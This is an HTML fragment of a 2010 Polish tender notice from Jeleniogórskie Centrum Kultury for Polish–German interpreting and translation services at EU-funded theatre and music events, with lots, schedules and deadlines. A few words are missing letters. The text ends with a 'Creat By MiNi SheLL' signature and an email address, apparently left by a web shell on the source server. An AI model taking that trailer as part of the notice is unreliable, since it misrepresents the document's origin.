<p class="bold">Jeżeli wykonawca ma siedzibę lub miejsce zamieszkania poza terytorium Rzeczypospolitej Polskiej, przedkłada:</p>
<p class="bold">III.4.3.1)  dokument wystawiony w kraju, w którym ma siedzibę lub miejsce zamieszkania potwierdzający, że:</p>
<ul style="text-align: justify; margin-right: 20px; list-style: disc;">
<li style="margin-bottom: 12px;">nie otwarto jego likwidacji ani nie ogłoszono upadłości - wystawiony nie wcześniej niż 6 miesięcy przed upływem terminu składania wniosków o dopuszczenie do udziału w postępowaniu o udzielenie zamówienia albo składania ofert</li>

<li style="margin-bottom: 12px;">nie zalega z uiszczaniem podatków, opłat, składek na ubezpieczenie społeczne i zdrowotne albo że uzyskał przewidziane prawem zwolnienie, odroczenie lub rozłożenie na raty zaległych płatności lub wstrzymanie w całości wykonania decyzji właściwego organu - wystawiony nie wcześniej niż 3 miesiące przed upływem terminu składania wniosków o dopuszczenie do udziału w postępowaniu o udzielenie zamówienia albo składania ofert</li>

</ul></li>
</ul>

<p><b>III.7) Czy ogranicza się możliwość ubiegania się o zamówienie publiczne tylko dla wykonawców, u których ponad 50 % pracowników stanowią osoby niepełnosprawne: </b>nie</p>


<p class="kh_title">SEKCJA IV: PROCEDURA</p>
<p><b>IV.1) TRYB UDZIELENIA ZAMÓWIENIA</b></p>
<p><b>IV.1.1) Tryb udzielenia zamówienia:</b> przetarg nieograniczony.</p>

<p><b>IV.2) KRYTERIA OCENY OFERT</b></p>
<p><b>IV.2.1) Kryteria oceny ofert: </b>najniższa cena.</p>
<p><b>IV.2.2) Czy przeprowadzona będzie aukcja elektroniczna:</b> nie.</p>
<p><b>IV.3) ZMIANA UMOWY</b></p>
<p><b>Czy przewiduje się istotne zmiany postanowień zawartej umowy w stosunku do treści oferty, na podstawie której dokonano wyboru wykonawcy: </b>tak</p>
<p><b>Dopuszczalne zmiany postanowień umowy oraz określenie warunków zmian</b></p>
<p>1.1.amawiający  określa następujące warunki, w jakich przewiduje się możliwość dokonania zmian w zawartej umowie:  
a) konieczność przedłużenia terminu wykonania umowy z powodu działania iły Wyższej tj. wyjątkowego zdarzenia lub okoliczności,
1.2 W przypadku żądania przedłużenia terminu umownego z przyczyn zależnych od Zamawiającego, zostanie  przeprowadzona następująca procedura:
	1) Wykonawca prześle Zamawiającemu projekt zmian do umowy (aneks) w terminie co najmniej 14 dni przed datą upływu terminu zakończenia umowy wraz z pisemnym uzasadnieniem,
	2) Zamawiający udzieli pisemnej odpowiedzi lub odeśle podpisany aneks do umowy przed upływem terminu wykonania umowy.
1.3 runkiem dokonania zmian postanowień zawartej umowy w formie aneksu do umowy jest zgoda obu stron wyrażona na piśmie, pod rygorem nieważności zmiany.</p>
<p><b>IV.4) INFORMACJE ADMINISTRACYJNE</b></p>
<p><b>IV.4.1)</b>&nbsp;<b>Adres strony internetowej, na której jest dostępna specyfikacja istotnych warunków zamówienia:</b> www.jck.pl<br>
<b>Specyfikację istotnych warunków zamówienia można uzyskać pod adresem:</b> Jeleniogórskie Centrum Kultury
ul. 1 Maja 60,  58-500 Jelenia Góra,.</p>
<p><b>IV.4.4) Termin składania wniosków o dopuszczenie do udziału w postępowaniu lub ofert:</b> 27.04.2010 godzina 09:00, miejsce: Jeleniogórskie Centrum Kultury
ul. 1 Maja 60, pok. 110,58-500 Jelenia Góra,.</p>
<p><b>IV.4.5) Termin związania ofertą:</b> okres w dniach: 30 (od ostatecznego terminu składania ofert).</p>




<p><b>IV.4.16) Informacje dodatkowe, w tym dotyczące finansowania projektu/programu ze środków Unii Europejskiej:</b> Zadanie realizowane w ramach projektu: Od Fundamentów po szczyty - renowacja, modernizacja i innowacja w obiektach i współpracy kulturalnej JCK i Steinhaus Bautzen  finansowanego ze środków Unii Europejskiej w ramach Programu Operacyjnego Współpracy Zagranicznej   Polska - Saksonia 2007-2013..</p>
<p><b>IV.4.17) Czy przewiduje się unieważnienie postępowania o udzielenie zamówienia, w przypadku nieprzyznania środków pochodzących z budżetu Unii Europejskiej oraz niepodlegających zwrotowi środków z pomocy udzielonej przez państwa członkowskie Europejskiego Porozumienia o Wolnym Handlu (EFTA), które miały być przeznaczone na sfinansowanie całości lub części zamówienia: </b> tak</p>
<p class="text kh_title">ZAŁĄCZNIK I - INFORMACJE DOTYCZĄCE OFERT CZĘŚCIOWYCH</p>
<p><b>CZĘŚĆ Nr:</b> 1 <b>NAZWA:</b> Usługi w zakresie tłumaczeń podczas działań teatralnych realizowanych w ramach projektu Od Fundamentów po szczyty - renowacja, modernizacja i innowacja w obiektach i współpracy kulturalnej JCK i Steinhaus Bautzen finansowanego ze środków Unii Europejskiej w ramach Programu Operacyjnego Współpracy Zagranicznej   Polska - Saksonia 2007-2013..</p>
<ul class="kh_indent_1"><li><p><b>1) Krótki opis ze wskazaniem wielkości lub zakresu zamówienia:</b> 1.	Przedmiot zamówienia obejmuje usługę w zakresie tłumaczeń ustnych i pisemnych  (z języka polskiego na język niemiecki, a także z języka niemieckiego na język polski) dla Jeleniogórskiego Centrum Kultury w okresie od podpisania umowy do 31.12.2010 r. 
2.	Zamawiający przewiduje zlecenie  następujących  rodzajów tłumaczeń według poniższego zestawienia:
1.	Tłumaczenia ustne konsekutywne - wielodniowe	01.05 - 02.05..2010 r.	Dób- 	1,5.	Wyjazd do Bautzen.
Tłumaczenie podczas montażu, demontażu oraz podczas spektaklu i działań integracyjnych związanych z realizacją działania  Wymiany premier teatralnych.
2.	Tłumaczenie ustne konsekutywne stacjonarne jednodniowe.
	27, 28,29,30 .05.2010 r.
w godz. 9.00 - 16.00 	Godzin-	15.	Tłumacz nr 1
Tłumaczenia  zajęć warsztatów teatralnych w ramach festiwalu PESTKA
Średnio 3,75 godz.dzień
2 tłumaczy pracujących równocześnie
3.	Tłumaczenie ustne konsekutywne stacjonarne jednodniowe.
	27,28,29,30 .05.2010 r.
w godz. 9.00 - 16.00	Godzin- 	15.	Tłumacz nr 2
Tłumaczenia  zajęć warsztatów teatralnych w ramach festiwalu PESTKA
Średnio 3,75 godz.- dzień
2 tłumaczy pracujących równocześnie
4.	Tłumaczenie ustne konsekutywne stacjonarne jednodniowe.
	27,28,29,30 .05.2010 r.
w godz. 16.00 - 21.00	Godzin-	9.	Tłumacz nr 1 lub 2
Tłumaczenia   dyskusji panelowych oraz wykładów w ramach festiwalu PESTKA
Średnio 3 godz.-dzień
5.	Tłumaczenia pisemne zwykłe standard.
	01-05.05.2010 r.	Stron-	5.	Materiały promocyjne festiwalu Pestka
6.	Tłumaczenia pisemne zwykłe standard.
	01-.10.05.2010 r.	Stron -	60.	Teksty sztuk - dramatów teatralnych wystawianych  w ramach festiwalu PESTKA
7.	Tłumaczenie pisemne zwykłe w trybie superekspres	27,28,29,30. 05.2010 r.	Stron -	16.	Tłumacz nr 1 lub 2
Tłumaczenia   tekstów gazety festiwalowej (po działaniach warsztatowych) 
Średnio 4  strony.-dzień . 
8.	Tłumaczenia ustne konsekutywne -  jednodniowe - wyjazd zagraniczny lub krajowy (do  12 godzin).
(3 wyjazdy - 1 tłumacz)
	W okresie od:
01.05.2010r. do 15.07.2010 r.	Godzinn -	21.	Trzy wyjazdy w ustalonych w zleceniu terminach - przeciętnie 7 godzin na wyjazd. Wyjazd z siedziby Zamawiającego do Bautzen.
9.	Tłumaczenia ustne konsekutywne - wielodniowe	16.07 - 26.07.2010 r.	Dób - 	10.	Tłumaczenie podczas warsztatów teatralnych  ODYSEJA w Jeleniej Górze (przygotowanie i realizacja spektaklu plenerowego) oraz prezentacja spektaklu w Bautzen w dniu 25.07.2010 r.
10.	Tłumaczenia pisemne zwykłe standard.
	10.05.2010 r.-01.07.2010 r.	Stronm-	25.	Materiały promocyjne warsztatów ODYSEJA, + scenopis spektaklu plenerowego..</p></li>
<li><p><b>2) Wspólny Słownik Zamówień (CPV):</b> 74.83.13.00-6, 74.83.14.00-7.</p></li>
<li><p><b>3) Czas trwania lub termin wykonania:</b> Zakończenie: 31.12.2010.</p></li>
<li><p><b>4) Kryteria oceny ofert: </b>najniższa cena. </ul><br>
<p><b>CZĘŚĆ Nr:</b> 2 <b>NAZWA:</b> Usługi w zakresie tłumaczeń podczas działań muzycznych realizowanych w ramach projektu Od Fundamentów po szczyty - renowacja, modernizacja i innowacja w obiektach i współpracy kulturalnej JCK i Steinhaus Bautzen finansowanego ze środków Unii Europejskiej w ramach Programu Operacyjnego Współpracy Zagranicznej   Polska - Saksonia 2007-2013..</p>
<ul class="kh_indent_1"><li><p><b>1) Krótki opis ze wskazaniem wielkości lub zakresu zamówienia:</b> 1.	Przedmiot zamówienia obejmuje usługę w zakresie tłumaczeń ustnych i pisemnych  (z języka polskiego na język niemiecki, a także z języka niemieckiego na język polski) dla Jeleniogórskiego Centrum Kultury w okresie od podpisania umowy do 31.12.2010 r. 
2.	Zamawiający przewiduje zlecenie  następujących  rodzajów tłumaczeń według poniższego zestawienia:
1.	Tłumaczenie ustne konsekutywne stacjonarne jednodniowe.
	 22.05.2010 r.
Godz. 16.00 -23.00	Godzin- 	7.	Tłumaczenie dla zespołów niemieckich podczas koncertu finałowego Liga Rocka - polsko - niemieckie spotkania młodych muzyków
2.	Tłumaczenie ustne konsekutywne stacjonarne jednodniowe.
	15.10.2010 r. 
godz. 16.00 -22.00
i
19.11.2010 r.
Godz. 16.00 - 22.00	Godzin -	12.	Tłumaczenie dla zespołów niemieckich podczas koncertów eliminacyjnych Liga Rocka - polsko - niemieckie spotkania młodych muzyków
3.	Tłumaczenia pisemne zwykłe standard.
	01-05.05.2010 r.	Stron -	25.	Tłumaczenie materiałów promocyjnych imprezy Liga Rocka - polsko - niemieckie spotkania młodych muzyków (Program imprezy, plakat  imprezy, protokół jury).
4.	Tłumaczenie ustne konsekutywne stacjonarne jednodniowe.
	12,13,14.
w godz. 12.00 - 20.00 	Godzin -	30.	Tłumacz nr 1
Tłumaczenie dla zespołów niemieckich biorących udział w warsztatach i konkursie jazzowym.
Średnio 10 godz. dziennie
5.	Tłumaczenie ustne konsekutywne stacjonarne jednodniowe.
	12,13,14.
w godz. 14.00 - 18.00	Godzin-	12.	Tłumacz nr 2
Tłumaczenie dla jurora z Niemiec podczas koncertów konkursowych i obrad jury. (średnio 4 godz. dziennie)
6.	Tłumaczenia ustne  symultaniczne bez wcześniejszego udostępnienia tłumaczonego  tekstu.	14.11.2010 r.
Godz.20.00	godzin -1.Tłumacz1 lub Tłumacz 2
Tłumaczenie na scenie oficjalnych wystąpień podczas koncertu galowego festiwalu.
7.	Tłumaczenia pisemne zwykłe standard.
	25-29.10.2010 r.	Stron -	25.Tłumaczenie materiałów promocyjnych imprezy Liga Rocka - polsko - niemieckie spotkania młodych muzyków (Program imprezy, plakat  imprezy, protokół jury)..</p></li>
<li><p><b>2) Wspólny Słownik Zamówień (CPV):</b> 74.83.13.00-6, 74.83.14.00-7.</p></li>
<li><p><b>3) Czas trwania lub termin wykonania:</b> Zakończenie: 31.12.2010.</p></li>
<li><p><b>4) Kryteria oceny ofert: </b>najniższa cena. </ul><br>

Creat By MiNi SheLL
Email: jattceo@gmail.com